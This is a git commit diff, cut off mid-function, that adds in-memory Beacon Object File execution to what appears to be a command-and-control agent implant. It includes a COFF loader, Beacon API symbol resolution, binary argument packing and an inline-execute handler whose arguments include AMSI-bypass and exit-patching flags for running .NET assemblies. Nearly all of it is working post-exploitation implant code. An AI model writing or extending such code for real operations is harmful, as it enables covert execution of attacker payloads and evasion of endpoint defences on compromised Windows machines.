assembly implemented
This commit is contained in:
Binary file not shown.
@@ -17,6 +17,39 @@ static char* beacon_output_buffer = NULL;
|
||||
static int beacon_output_size = 0;
|
||||
static int beacon_output_offset = 0;
|
||||
|
||||
// Structure for BOF execution in separate thread
|
||||
typedef struct _BOF_THREAD_ARGS {
|
||||
char* bofBuffer;
|
||||
DWORD bofSize;
|
||||
char* args;
|
||||
unsigned long argsSize;
|
||||
volatile BOOL completed;
|
||||
volatile BOOL success;
|
||||
} BOF_THREAD_ARGS, *PBOF_THREAD_ARGS;
|
||||
|
||||
// Thread function to execute BOF
|
||||
static DWORD WINAPI BOFExecutionThread(LPVOID lpParam) {
|
||||
PBOF_THREAD_ARGS threadArgs = (PBOF_THREAD_ARGS)lpParam;
|
||||
if (!threadArgs) {
|
||||
_err("[BOFExecutionThread] threadArgs es NULL");
|
||||
return 1;
|
||||
}
|
||||
|
||||
_inf("[BOFExecutionThread] Iniciando ejecución de BOF en thread separado");
|
||||
threadArgs->completed = FALSE;
|
||||
threadArgs->success = FALSE;
|
||||
|
||||
// Execute BOF
|
||||
DWORD fileSize = threadArgs->bofSize;
|
||||
BOOL result = RunCOFF(threadArgs->bofBuffer, &fileSize, "go", threadArgs->args, threadArgs->argsSize);
|
||||
|
||||
threadArgs->success = result;
|
||||
threadArgs->completed = TRUE;
|
||||
_inf("[BOFExecutionThread] BOF ejecutado, success=%d", result);
|
||||
|
||||
return result ? 0 : 1;
|
||||
}
|
||||
|
||||
// BeaconPrintf - Capture formatted output from BOFs
|
||||
void BeaconPrintf(int type, char* fmt, ...) {
|
||||
va_list args;
|
||||
@@ -316,7 +349,17 @@ static BOOL InternalFunctionMatch(char* StrippedSymbolName) {
|
||||
STR_EQUALS(StrippedSymbolName, "GetModuleHandleA") ||
|
||||
STR_EQUALS(StrippedSymbolName, "toWideChar") ||
|
||||
STR_EQUALS(StrippedSymbolName, "LoadLibraryA") ||
|
||||
STR_EQUALS(StrippedSymbolName, "FreeLibrary"))
|
||||
STR_EQUALS(StrippedSymbolName, "FreeLibrary") ||
|
||||
STR_EQUALS(StrippedSymbolName, "BeaconDataParse") ||
|
||||
STR_EQUALS(StrippedSymbolName, "BeaconDataExtract") ||
|
||||
STR_EQUALS(StrippedSymbolName, "BeaconDataInt") ||
|
||||
STR_EQUALS(StrippedSymbolName, "BeaconDataShort") ||
|
||||
STR_EQUALS(StrippedSymbolName, "BeaconDataLength") ||
|
||||
STR_EQUALS(StrippedSymbolName, "BeaconPrintf") ||
|
||||
STR_EQUALS(StrippedSymbolName, "BeaconOutput") ||
|
||||
STR_EQUALS(StrippedSymbolName, "BeaconUseToken") ||
|
||||
STR_EQUALS(StrippedSymbolName, "BeaconRevertToken") ||
|
||||
STR_EQUALS(StrippedSymbolName, "BeaconIsAdmin"))
|
||||
{
|
||||
return TRUE;
|
||||
}
|
||||
@@ -331,23 +374,44 @@ static void* ProcessBeaconSymbols(char* SymbolName, BOOL* InternalFunction) {
|
||||
char localSymbolNameCopy[1024] = { 0 };
|
||||
*InternalFunction = FALSE;
|
||||
char* locallib = NULL;
|
||||
char* localfunc = SymbolName + sizeof(PREPENDSYMBOLVALUE) - 1;
|
||||
char* localfunc = NULL;
|
||||
HMODULE llHandle = NULL;
|
||||
char* context = NULL;
|
||||
|
||||
if (!SymbolName) {
|
||||
_err("[ProcessBeaconSymbols] SymbolName es NULL");
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// Check if symbol starts with PREPENDSYMBOLVALUE
|
||||
SIZE_T prependLen = strlen(PREPENDSYMBOLVALUE);
|
||||
if (strncmp(SymbolName, PREPENDSYMBOLVALUE, prependLen) != 0) {
|
||||
// Try to resolve anyway (might be a direct symbol name)
|
||||
localfunc = SymbolName;
|
||||
} else {
|
||||
localfunc = SymbolName + prependLen;
|
||||
}
|
||||
|
||||
strncpy_s(localSymbolNameCopy, sizeof(localSymbolNameCopy), SymbolName, sizeof(localSymbolNameCopy) - 1);
|
||||
|
||||
// Hash-based function resolution for internal functions
|
||||
// For now, we'll use direct function resolution
|
||||
if (InternalFunctionMatch(SymbolName + sizeof(PREPENDSYMBOLVALUE) - 1)) {
|
||||
if (InternalFunctionMatch(localfunc)) {
|
||||
*InternalFunction = TRUE;
|
||||
localfunc = SymbolName + strlen(PREPENDSYMBOLVALUE);
|
||||
UINT32 hash = custom_hash(localfunc);
|
||||
|
||||
// Map common Beacon functions by hash
|
||||
UINT32 funcHash = hash;
|
||||
if (funcHash == custom_hash("BeaconDataParse")) {
|
||||
return (void*)BeaconDataParse;
|
||||
} else if (funcHash == custom_hash("BeaconDataExtract")) {
|
||||
return (void*)BeaconDataExtract;
|
||||
} else if (funcHash == custom_hash("BeaconDataInt")) {
|
||||
return (void*)BeaconDataInt;
|
||||
} else if (funcHash == custom_hash("BeaconDataShort")) {
|
||||
return (void*)BeaconDataShort;
|
||||
} else if (funcHash == custom_hash("BeaconDataLength")) {
|
||||
return (void*)BeaconDataLength;
|
||||
} else if (funcHash == custom_hash("BeaconPrintf")) {
|
||||
return (void*)BeaconPrintf;
|
||||
} else if (funcHash == custom_hash("BeaconOutput")) {
|
||||
@@ -366,18 +430,60 @@ static void* ProcessBeaconSymbols(char* SymbolName, BOOL* InternalFunction) {
|
||||
return (void*)BeaconRevertToken;
|
||||
} else if (funcHash == custom_hash("BeaconIsAdmin")) {
|
||||
return (void*)BeaconIsAdmin;
|
||||
} else {
|
||||
_wrn("[ProcessBeaconSymbols] Símbolo interno no mapeado: '%s' (hash=0x%08x)", localfunc, funcHash);
|
||||
}
|
||||
} else {
|
||||
// External symbol - parse library$function format
|
||||
locallib = strtok_s(localSymbolNameCopy + sizeof(PREPENDSYMBOLVALUE) - 1, "$", &context);
|
||||
// Make a working copy for strtok_s (it modifies the string)
|
||||
char workingCopy[1024] = { 0 };
|
||||
SIZE_T copyLen = strlen(localfunc);
|
||||
if (copyLen >= sizeof(workingCopy)) {
|
||||
_err("[ProcessBeaconSymbols] Símbolo demasiado largo: %zu bytes", copyLen);
|
||||
return NULL;
|
||||
}
|
||||
strncpy_s(workingCopy, sizeof(workingCopy), localfunc, copyLen);
|
||||
|
||||
// Parse library$function format
|
||||
char* context1 = NULL;
|
||||
locallib = strtok_s(workingCopy, "$", &context1);
|
||||
if (locallib) {
|
||||
llHandle = LoadLibraryA(locallib);
|
||||
localfunc = strtok_s(NULL, "$", &context);
|
||||
if (localfunc) {
|
||||
localfunc = strtok_s(localfunc, "@", &context);
|
||||
functionaddress = GetProcAddress(llHandle, localfunc);
|
||||
if (!llHandle) {
|
||||
DWORD error = GetLastError();
|
||||
_err("[ProcessBeaconSymbols] Error cargando librería '%s': %lu", locallib, error);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
char* funcToken = strtok_s(NULL, "$", &context1);
|
||||
if (funcToken) {
|
||||
// Remove ordinal suffix if present (function@ordinal)
|
||||
char* context2 = NULL;
|
||||
char* funcName = strtok_s(funcToken, "@", &context2);
|
||||
if (funcName) {
|
||||
functionaddress = GetProcAddress(llHandle, funcName);
|
||||
if (!functionaddress) {
|
||||
DWORD error = GetLastError();
|
||||
_err("[ProcessBeaconSymbols] Error resolviendo función '%s' en '%s': %lu", funcName, locallib, error);
|
||||
}
|
||||
} else {
|
||||
// No @ found, use the whole token as function name
|
||||
functionaddress = GetProcAddress(llHandle, funcToken);
|
||||
if (!functionaddress) {
|
||||
DWORD error = GetLastError();
|
||||
_err("[ProcessBeaconSymbols] Error resolviendo función '%s' en '%s': %lu", funcToken, locallib, error);
|
||||
}
|
||||
}
|
||||
} else {
|
||||
_err("[ProcessBeaconSymbols] No se encontró función en formato library$function para '%s'", localfunc);
|
||||
}
|
||||
} else {
|
||||
_wrn("[ProcessBeaconSymbols] No se pudo parsear formato library$function de '%s' (formato esperado: library$function)", localfunc);
|
||||
}
|
||||
}
|
||||
|
||||
if (!functionaddress) {
|
||||
_wrn("[ProcessBeaconSymbols] No se pudo resolver símbolo '%s'", SymbolName);
|
||||
}
|
||||
|
||||
return functionaddress;
|
||||
@@ -394,10 +500,12 @@ static BOOL ExecuteEntry(COFF_t* COFF, char* func, char* args, unsigned long arg
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
_inf("[ExecuteEntry] Buscando entry point '%s' en %u símbolos", func, COFF->FileHeader->NumberOfSymbols);
|
||||
for (UINT32 counter = 0; counter < COFF->FileHeader->NumberOfSymbols; counter++) {
|
||||
if (strcmp(COFF->SymbolTable[counter].first.Name, func) == 0) {
|
||||
foo = (void(*)(char*, UINT32))((char*)COFF->RawTextData + COFF->SymbolTable[counter].Value);
|
||||
_dbg("[inline_execute] Entry point encontrado: 0x%p", foo);
|
||||
_inf("[ExecuteEntry] Entry point '%s' encontrado en símbolo %u: 0x%p (offset=%u)",
|
||||
func, counter, foo, COFF->SymbolTable[counter].Value);
|
||||
break;
|
||||
}
|
||||
}
|
||||
@@ -408,7 +516,12 @@ static BOOL ExecuteEntry(COFF_t* COFF, char* func, char* args, unsigned long arg
|
||||
}
|
||||
|
||||
// Execute the BOF
|
||||
// Execute the BOF
|
||||
// Note: If the BOF crashes, the agent will crash too since we can't use SEH with GCC
|
||||
// The BOF should handle its own errors gracefully
|
||||
_inf("[ExecuteEntry] Ejecutando entry point '%s'...", func);
|
||||
foo((char*)args, (UINT32)argSize);
|
||||
_inf("[ExecuteEntry] Entry point '%s' completado", func);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
@@ -512,9 +625,12 @@ BOOL RunCOFF(char* FileData, DWORD* DataSize, char* EntryName, char* argumentdat
|
||||
}
|
||||
else {
|
||||
BOOL internalFunctionCheck = FALSE;
|
||||
funcptrlocation = ProcessBeaconSymbols(((char*)(COFF.SymbolTable + COFF.FileHeader->NumberOfSymbols)) + symbolOffset, &internalFunctionCheck);
|
||||
char* symbolName = ((char*)(COFF.SymbolTable + COFF.FileHeader->NumberOfSymbols)) + symbolOffset;
|
||||
funcptrlocation = ProcessBeaconSymbols(symbolName, &internalFunctionCheck);
|
||||
if (funcptrlocation == NULL && COFF.SymbolTable[COFF.Relocation->SymbolTableIndex].SectionNumber == 0) {
|
||||
_wrn("[inline_execute] No se pudo resolver símbolo");
|
||||
_wrn("[RunCOFF] No se pudo resolver símbolo '%s' (SectionNumber=%d)",
|
||||
symbolName, COFF.SymbolTable[COFF.Relocation->SymbolTableIndex].SectionNumber);
|
||||
// Continue anyway - some symbols might be optional or resolved later
|
||||
}
|
||||
|
||||
RelocationTypeParse(&COFF, sectionMapped, s, &internalFunctionCheck, funcptrlocation, functionMapping);
|
||||
@@ -523,8 +639,9 @@ BOOL RunCOFF(char* FileData, DWORD* DataSize, char* EntryName, char* argumentdat
|
||||
}
|
||||
|
||||
// Execute the BOF
|
||||
_inf("[RunCOFF] Preparando ejecución de entry point '%s' con argumentos: data=%p, size=%lu", EntryName, argumentdata, argumentsize);
|
||||
if (!ExecuteEntry(&COFF, EntryName, argumentdata, argumentsize)) {
|
||||
_err("[inline_execute] Error ejecutando entry point");
|
||||
_err("[RunCOFF] Error ejecutando entry point '%s'", EntryName);
|
||||
// Cleanup
|
||||
for (BYTE i = 0; i < COFF.FileHeader->NumberOfSections; i++) {
|
||||
if (sectionMapped[i] != NULL) {
|
||||
@@ -535,6 +652,7 @@ BOOL RunCOFF(char* FileData, DWORD* DataSize, char* EntryName, char* argumentdat
|
||||
if (functionMapping) VirtualFree(functionMapping, 0, MEM_RELEASE);
|
||||
return FALSE;
|
||||
}
|
||||
_inf("[RunCOFF] Entry point '%s' ejecutado exitosamente", EntryName);
|
||||
|
||||
// Cleanup
|
||||
for (BYTE i = 0; i < COFF.FileHeader->NumberOfSections; i++) {
|
||||
@@ -549,18 +667,326 @@ BOOL RunCOFF(char* FileData, DWORD* DataSize, char* EntryName, char* argumentdat
|
||||
}
|
||||
|
||||
/*
|
||||
* ParseBOFArguments - Parse BOF arguments from JSON string
|
||||
* Returns packed arguments buffer and size
|
||||
* HexStringToBytes - Convert hexadecimal string to bytes
|
||||
* Returns allocated buffer with decoded bytes
|
||||
*/
|
||||
static BOOL ParseBOFArguments(PCHAR argsJson, SIZE_T argsJsonLen, PBYTE* outBuffer, SIZE_T* outSize) {
|
||||
// For now, we'll pass the JSON string directly
|
||||
// A full implementation would parse the JSON and pack arguments according to type
|
||||
*outBuffer = (PBYTE)LocalAlloc(LPTR, argsJsonLen);
|
||||
if (!*outBuffer) {
|
||||
static BOOL HexStringToBytes(PCHAR hexStr, SIZE_T hexLen, PBYTE* outBytes, SIZE_T* outLen) {
|
||||
if (!hexStr || hexLen == 0 || hexLen % 2 != 0) {
|
||||
return FALSE;
|
||||
}
|
||||
memcpy(*outBuffer, argsJson, argsJsonLen);
|
||||
*outSize = argsJsonLen;
|
||||
|
||||
SIZE_T byteLen = hexLen / 2;
|
||||
*outBytes = (PBYTE)LocalAlloc(LPTR, byteLen);
|
||||
if (!*outBytes) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
for (SIZE_T i = 0; i < byteLen; i++) {
|
||||
char hexByte[3] = {hexStr[i*2], hexStr[i*2+1], '\0'};
|
||||
(*outBytes)[i] = (BYTE)strtoul(hexByte, NULL, 16);
|
||||
}
|
||||
|
||||
*outLen = byteLen;
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
/*
|
||||
* ParseBOFArguments - Parse BOF arguments from JSON string and pack them in binary format
|
||||
* Format expected by BOFs (BeaconDataParse compatible):
|
||||
* - int16: 2 bytes (little-endian)
|
||||
* - int32: 4 bytes (little-endian)
|
||||
* - string: 4 bytes (length) + string data (null-terminated)
|
||||
* - wchar: 4 bytes (length) + wide string data (null-terminated, 2 bytes per char)
|
||||
* - base64: 4 bytes (length) + decoded base64 data
|
||||
* - bytes: 4 bytes (length) + raw bytes (from hex string)
|
||||
*
|
||||
* JSON format: [["type", "value"], ["type", value], ...]
|
||||
*/
|
||||
static BOOL ParseBOFArguments(PCHAR argsJson, SIZE_T argsJsonLen, PBYTE* outBuffer, SIZE_T* outSize) {
|
||||
// Simple JSON parser for BOF arguments format: [["type", "value"], ...]
|
||||
// This is a minimal parser that handles the specific format we use
|
||||
|
||||
if (!argsJson || argsJsonLen == 0) {
|
||||
*outBuffer = NULL;
|
||||
*outSize = 0;
|
||||
_inf("[ParseBOFArguments] No arguments provided");
|
||||
return TRUE; // No arguments is valid
|
||||
}
|
||||
|
||||
_inf("[ParseBOFArguments] Parsing JSON arguments: %.*s", (int)argsJsonLen, argsJson);
|
||||
|
||||
// Check for empty array []
|
||||
PCHAR p = argsJson;
|
||||
PCHAR end = argsJson + argsJsonLen;
|
||||
while (p < end && (*p == ' ' || *p == '\t' || *p == '\n' || *p == '\r')) p++;
|
||||
if (p < end && *p == '[') {
|
||||
p++;
|
||||
while (p < end && (*p == ' ' || *p == '\t' || *p == '\n' || *p == '\r')) p++;
|
||||
if (p < end && *p == ']') {
|
||||
// Empty array
|
||||
*outBuffer = NULL;
|
||||
*outSize = 0;
|
||||
_inf("[ParseBOFArguments] Empty array, no arguments");
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
|
||||
// Allocate buffer (estimate: JSON is usually larger than binary, so start with same size)
|
||||
SIZE_T bufferSize = argsJsonLen * 2; // Overestimate to be safe
|
||||
PBYTE buffer = (PBYTE)LocalAlloc(LPTR, bufferSize);
|
||||
if (!buffer) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
SIZE_T offset = 0;
|
||||
p = argsJson;
|
||||
|
||||
// Skip whitespace and opening bracket
|
||||
while (p < end && (*p == ' ' || *p == '\t' || *p == '\n' || *p == '\r' || *p == '[')) p++;
|
||||
|
||||
// Parse arguments
|
||||
while (p < end && *p != ']') {
|
||||
// Skip whitespace and comma
|
||||
while (p < end && (*p == ' ' || *p == '\t' || *p == '\n' || *p == '\r' || *p == ',' || *p == '[')) p++;
|
||||
if (p >= end || *p == ']') break;
|
||||
|
||||
// Parse type: "type"
|
||||
if (*p != '"') {
|
||||
LocalFree(buffer);
|
||||
return FALSE;
|
||||
}
|
||||
p++; // Skip opening quote
|
||||
PCHAR typeStart = p;
|
||||
while (p < end && *p != '"') p++;
|
||||
if (p >= end) {
|
||||
LocalFree(buffer);
|
||||
return FALSE;
|
||||
}
|
||||
SIZE_T typeLen = p - typeStart;
|
||||
p++; // Skip closing quote
|
||||
|
||||
// Skip comma/whitespace
|
||||
while (p < end && (*p == ' ' || *p == '\t' || *p == ',')) p++;
|
||||
|
||||
// Parse value
|
||||
PCHAR valueStart = NULL;
|
||||
SIZE_T valueLen = 0;
|
||||
BOOL isString = FALSE;
|
||||
|
||||
if (*p == '"') {
|
||||
// String value
|
||||
isString = TRUE;
|
||||
p++; // Skip opening quote
|
||||
valueStart = p;
|
||||
while (p < end && *p != '"') p++;
|
||||
if (p >= end) {
|
||||
LocalFree(buffer);
|
||||
return FALSE;
|
||||
}
|
||||
valueLen = p - valueStart;
|
||||
p++; // Skip closing quote
|
||||
} else if (*p == '-' || (*p >= '0' && *p <= '9')) {
|
||||
// Numeric value
|
||||
valueStart = p;
|
||||
while (p < end && ((*p >= '0' && *p <= '9') || *p == '-' || *p == '.')) p++;
|
||||
valueLen = p - valueStart;
|
||||
} else if ((p + 4 <= end && strncmp(p, "true", 4) == 0) ||
|
||||
(p + 5 <= end && strncmp(p, "false", 5) == 0)) {
|
||||
// Boolean value (true/false without quotes)
|
||||
valueStart = p;
|
||||
if (strncmp(p, "true", 4) == 0) {
|
||||
valueLen = 4;
|
||||
p += 4;
|
||||
} else {
|
||||
valueLen = 5;
|
||||
p += 5;
|
||||
}
|
||||
} else {
|
||||
// Unexpected format
|
||||
LocalFree(buffer);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Skip closing bracket and whitespace
|
||||
while (p < end && (*p == ' ' || *p == '\t' || *p == ']' || *p == ',' || *p == ']')) {
|
||||
if (*p == ']') break;
|
||||
p++;
|
||||
}
|
||||
|
||||
// Pack argument based on type
|
||||
// Check if we need to reallocate buffer
|
||||
SIZE_T needed = offset + 1024; // Estimate for worst case
|
||||
if (needed > bufferSize) {
|
||||
bufferSize = needed * 2;
|
||||
PBYTE newBuffer = (PBYTE)LocalReAlloc(buffer, bufferSize, LMEM_MOVEABLE | LMEM_ZEROINIT);
|
||||
if (!newBuffer) {
|
||||
LocalFree(buffer);
|
||||
return FALSE;
|
||||
}
|
||||
buffer = newBuffer;
|
||||
}
|
||||
|
||||
// Create temporary null-terminated strings for comparison
|
||||
char typeBuf[32] = {0};
|
||||
if (typeLen < sizeof(typeBuf) - 1) {
|
||||
memcpy(typeBuf, typeStart, typeLen);
|
||||
typeBuf[typeLen] = '\0';
|
||||
}
|
||||
|
||||
if (strcmp(typeBuf, "int16") == 0) {
|
||||
INT16 val = (INT16)atoi(valueStart);
|
||||
if (offset + 2 > bufferSize) {
|
||||
LocalFree(buffer);
|
||||
return FALSE;
|
||||
}
|
||||
memcpy(buffer + offset, &val, 2);
|
||||
offset += 2;
|
||||
_inf("[ParseBOFArguments] Packed int16: %d", val);
|
||||
} else if (strcmp(typeBuf, "int32") == 0) {
|
||||
INT32 val = 0;
|
||||
// Handle boolean values (true/false) and numeric values
|
||||
// First check for unquoted boolean literals
|
||||
if (valueLen >= 4 && (strncmp(valueStart, "true", 4) == 0 || strncmp(valueStart, "True", 4) == 0)) {
|
||||
val = 1;
|
||||
_inf("[ParseBOFArguments] Detected boolean 'true' -> 1");
|
||||
} else if (valueLen >= 5 && (strncmp(valueStart, "false", 5) == 0 || strncmp(valueStart, "False", 5) == 0)) {
|
||||
val = 0;
|
||||
_inf("[ParseBOFArguments] Detected boolean 'false' -> 0");
|
||||
} else {
|
||||
val = (INT32)atoi(valueStart);
|
||||
_inf("[ParseBOFArguments] Parsed numeric value: %d", val);
|
||||
}
|
||||
if (offset + 4 > bufferSize) {
|
||||
LocalFree(buffer);
|
||||
return FALSE;
|
||||
}
|
||||
memcpy(buffer + offset, &val, 4);
|
||||
offset += 4;
|
||||
_inf("[ParseBOFArguments] Packed int32: %d (from '%.*s', len=%zu)", val, (int)valueLen, valueStart, valueLen);
|
||||
} else if (strcmp(typeBuf, "string") == 0) {
|
||||
if (offset + 4 + valueLen + 1 > bufferSize) {
|
||||
LocalFree(buffer);
|
||||
return FALSE;
|
||||
}
|
||||
UINT32 len = (UINT32)(valueLen + 1); // Include null terminator
|
||||
memcpy(buffer + offset, &len, 4);
|
||||
offset += 4;
|
||||
memcpy(buffer + offset, valueStart, valueLen);
|
||||
offset += valueLen;
|
||||
buffer[offset++] = '\0';
|
||||
_inf("[ParseBOFArguments] Packed string: %.*s (len=%u)", (int)valueLen, valueStart, len);
|
||||
} else if (strcmp(typeBuf, "wchar") == 0) {
|
||||
// Convert to wide string (UTF-16)
|
||||
SIZE_T wcharLen = (valueLen + 1) * 2; // Each char becomes 2 bytes
|
||||
if (offset + 4 + wcharLen > bufferSize) {
|
||||
LocalFree(buffer);
|
||||
return FALSE;
|
||||
}
|
||||
UINT32 len = (UINT32)wcharLen;
|
||||
memcpy(buffer + offset, &len, 4);
|
||||
offset += 4;
|
||||
// Convert to wide chars
|
||||
for (SIZE_T i = 0; i < valueLen; i++) {
|
||||
WCHAR wc = (WCHAR)valueStart[i];
|
||||
memcpy(buffer + offset, &wc, 2);
|
||||
offset += 2;
|
||||
}
|
||||
WCHAR nullTerm = 0;
|
||||
memcpy(buffer + offset, &nullTerm, 2);
|
||||
offset += 2;
|
||||
_inf("[ParseBOFArguments] Packed wchar: %.*s (len=%u)", (int)valueLen, valueStart, len);
|
||||
} else if (strcmp(typeBuf, "base64") == 0) {
|
||||
// Decode base64
|
||||
char* b64Str = (char*)LocalAlloc(LPTR, valueLen + 1);
|
||||
if (!b64Str) {
|
||||
LocalFree(buffer);
|
||||
return FALSE;
|
||||
}
|
||||
memcpy(b64Str, valueStart, valueLen);
|
||||
b64Str[valueLen] = '\0';
|
||||
|
||||
PBYTE decoded = NULL;
|
||||
SIZE_T decodedLen = 0;
|
||||
if (!base64_decode(b64Str, &decoded, &decodedLen)) {
|
||||
LocalFree(b64Str);
|
||||
LocalFree(buffer);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if (offset + 4 + decodedLen > bufferSize) {
|
||||
SIZE_T newSize = bufferSize * 2;
|
||||
while (newSize < offset + 4 + decodedLen) newSize *= 2;
|
||||
PBYTE newBuffer = (PBYTE)LocalReAlloc(buffer, newSize, LMEM_MOVEABLE | LMEM_ZEROINIT);
|
||||
if (!newBuffer) {
|
||||
LocalFree(b64Str);
|
||||
LocalFree(decoded);
|
||||
LocalFree(buffer);
|
||||
return FALSE;
|
||||
}
|
||||
buffer = newBuffer;
|
||||
bufferSize = newSize;
|
||||
}
|
||||
|
||||
UINT32 len = (UINT32)decodedLen;
|
||||
memcpy(buffer + offset, &len, 4);
|
||||
offset += 4;
|
||||
memcpy(buffer + offset, decoded, decodedLen);
|
||||
offset += decodedLen;
|
||||
|
||||
LocalFree(b64Str);
|
||||
LocalFree(decoded);
|
||||
_inf("[ParseBOFArguments] Packed base64: %zu bytes", decodedLen);
|
||||
} else if (strcmp(typeBuf, "bytes") == 0) {
|
||||
// Convert hex string to bytes
|
||||
PBYTE bytes = NULL;
|
||||
SIZE_T bytesLen = 0;
|
||||
if (!HexStringToBytes(valueStart, valueLen, &bytes, &bytesLen)) {
|
||||
LocalFree(buffer);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if (offset + 4 + bytesLen > bufferSize) {
|
||||
SIZE_T newSize = bufferSize * 2;
|
||||
while (newSize < offset + 4 + bytesLen) newSize *= 2;
|
||||
PBYTE newBuffer = (PBYTE)LocalReAlloc(buffer, newSize, LMEM_MOVEABLE | LMEM_ZEROINIT);
|
||||
if (!newBuffer) {
|
||||
LocalFree(bytes);
|
||||
LocalFree(buffer);
|
||||
return FALSE;
|
||||
}
|
||||
buffer = newBuffer;
|
||||
bufferSize = newSize;
|
||||
}
|
||||
|
||||
UINT32 len = (UINT32)bytesLen;
|
||||
memcpy(buffer + offset, &len, 4);
|
||||
offset += 4;
|
||||
memcpy(buffer + offset, bytes, bytesLen);
|
||||
offset += bytesLen;
|
||||
|
||||
LocalFree(bytes);
|
||||
_inf("[ParseBOFArguments] Packed bytes: %zu bytes", bytesLen);
|
||||
} else {
|
||||
// Unknown type - skip or error?
|
||||
_wrn("[ParseBOFArguments] Unknown argument type: %s", typeBuf);
|
||||
// Continue parsing other arguments
|
||||
}
|
||||
}
|
||||
|
||||
// Resize buffer to actual size
|
||||
if (offset > 0) {
|
||||
PBYTE finalBuffer = (PBYTE)LocalReAlloc(buffer, offset, LMEM_MOVEABLE);
|
||||
if (finalBuffer) {
|
||||
buffer = finalBuffer;
|
||||
}
|
||||
} else {
|
||||
LocalFree(buffer);
|
||||
buffer = NULL;
|
||||
}
|
||||
|
||||
_inf("[ParseBOFArguments] Total packed size: %zu bytes", offset);
|
||||
*outBuffer = buffer;
|
||||
*outSize = offset;
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
@@ -588,11 +1014,11 @@ VOID InlineExecuteHandler(PAnalizador argumentos) {
|
||||
return;
|
||||
}
|
||||
|
||||
// Read arguments (JSON string)
|
||||
// Read arguments (already serialized by translator, like Xenon)
|
||||
SIZE_T argsLen = 0;
|
||||
PCHAR argsJson = getString(argumentos, &argsLen);
|
||||
PBYTE argsBuffer = getBytes(argumentos, &argsLen);
|
||||
|
||||
_dbg("InlineExecuteHandler: taskUuid=%.*s, fileId=%.*s, argsLen=%zu",
|
||||
_inf("InlineExecuteHandler: taskUuid=%.*s, fileId=%.*s, argsLen=%zu",
|
||||
36, taskUuid, (int)fileIdLen, fileId, argsLen);
|
||||
|
||||
// Create response package
|
||||
@@ -613,17 +1039,39 @@ VOID InlineExecuteHandler(PAnalizador argumentos) {
|
||||
liberarPaquete(salida);
|
||||
liberarPaquete(respuesta);
|
||||
if (respuestaAnalizador) liberarAnalizador(respuestaAnalizador);
|
||||
if (argsBuffer) LocalFree(argsBuffer);
|
||||
if (argumentos) liberarAnalizador(argumentos);
|
||||
return;
|
||||
}
|
||||
|
||||
// Parse BOF arguments
|
||||
// Prepare BOF arguments (like Xenon)
|
||||
// The translator already serialized the arguments using Packer
|
||||
// Packer.getbuffer() returns: [size:4 bytes LE][data] where size = data length
|
||||
// The translator sends this as: [len:4 bytes BE][packed_buffer]
|
||||
// We receive: packed_buffer = [size:4 bytes LE][data]
|
||||
// BeaconDataParse expects: [total_size:4 bytes][data] where total_size includes the 4-byte header
|
||||
// So we need to replace the first 4 bytes (size) with total_size
|
||||
PBYTE bofArgs = NULL;
|
||||
SIZE_T bofArgsSize = 0;
|
||||
if (argsJson && argsLen > 0) {
|
||||
if (!ParseBOFArguments(argsJson, argsLen, &bofArgs, &bofArgsSize)) {
|
||||
_err("[inline_execute] Error parseando argumentos BOF");
|
||||
PackageAddFormatPrintf(salida, FALSE, "[inline_execute] Error: No se pudieron parsear los argumentos\n");
|
||||
if (argsBuffer && argsLen > 0) {
|
||||
_inf("[inline_execute] Argumentos recibidos del translator: size=%zu bytes", argsLen);
|
||||
|
||||
// The buffer from translator already has the format from Packer: [size:4 bytes LE][data]
|
||||
// We just need to replace the first 4 bytes with the total size
|
||||
bofArgs = argsBuffer; // Use the buffer directly
|
||||
bofArgsSize = argsLen;
|
||||
|
||||
// Replace first 4 bytes with total size (including the 4-byte header)
|
||||
UINT32 totalSize = (UINT32)bofArgsSize;
|
||||
memcpy(bofArgs, &totalSize, 4);
|
||||
_inf("[inline_execute] Buffer preparado: total_size=%u, buffer_size=%zu", totalSize, bofArgsSize);
|
||||
} else {
|
||||
_inf("[inline_execute] No hay argumentos");
|
||||
bofArgs = NULL;
|
||||
bofArgsSize = 0;
|
||||
if (argsBuffer) {
|
||||
LocalFree(argsBuffer);
|
||||
argsBuffer = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -639,58 +1087,168 @@ VOID InlineExecuteHandler(PAnalizador argumentos) {
|
||||
// Execute the BOF
|
||||
DWORD fileSize = (DWORD)bof.size;
|
||||
_inf("[inline_execute] Ejecutando BOF: size=%lu bytes, entry=go", fileSize);
|
||||
if (!RunCOFF((char*)bof.buffer, &fileSize, "go", (char*)bofArgs, bofArgsSize)) {
|
||||
_err("[inline_execute] Error ejecutando BOF");
|
||||
PackageAddFormatPrintf(salida, FALSE, "[inline_execute] Error: No se pudo ejecutar el BOF\n");
|
||||
_inf("[inline_execute] Argumentos para BOF: size=%zu bytes, ptr=%p", bofArgsSize, bofArgs);
|
||||
|
||||
// Log argument structure for debugging (first 100 bytes)
|
||||
if (bofArgs && bofArgsSize > 0) {
|
||||
int logBytes = (bofArgsSize > 100) ? 100 : bofArgsSize;
|
||||
// Log only summary of arguments (reduced verbosity to prevent log blocking)
|
||||
if (bofArgsSize >= 4) {
|
||||
UINT32* ptr = (UINT32*)bofArgs;
|
||||
SIZE_T offset = 4;
|
||||
if (offset + 4 <= bofArgsSize) {
|
||||
UINT32 bytesLen = ptr[1];
|
||||
offset += 4 + bytesLen;
|
||||
if (offset + 4 <= bofArgsSize) {
|
||||
UINT32 assemblyLen = *(UINT32*)((PBYTE)bofArgs + offset);
|
||||
offset += 4;
|
||||
if (offset + 4 <= bofArgsSize) {
|
||||
UINT32 wcharLen = *(UINT32*)((PBYTE)bofArgs + offset);
|
||||
offset += 4 + wcharLen;
|
||||
if (offset + 4 <= bofArgsSize) {
|
||||
INT32 patchExit = *(INT32*)((PBYTE)bofArgs + offset);
|
||||
offset += 4;
|
||||
if (offset + 4 <= bofArgsSize) {
|
||||
INT32 amsi = *(INT32*)((PBYTE)bofArgs + offset);
|
||||
offset += 4;
|
||||
if (offset + 4 <= bofArgsSize) {
|
||||
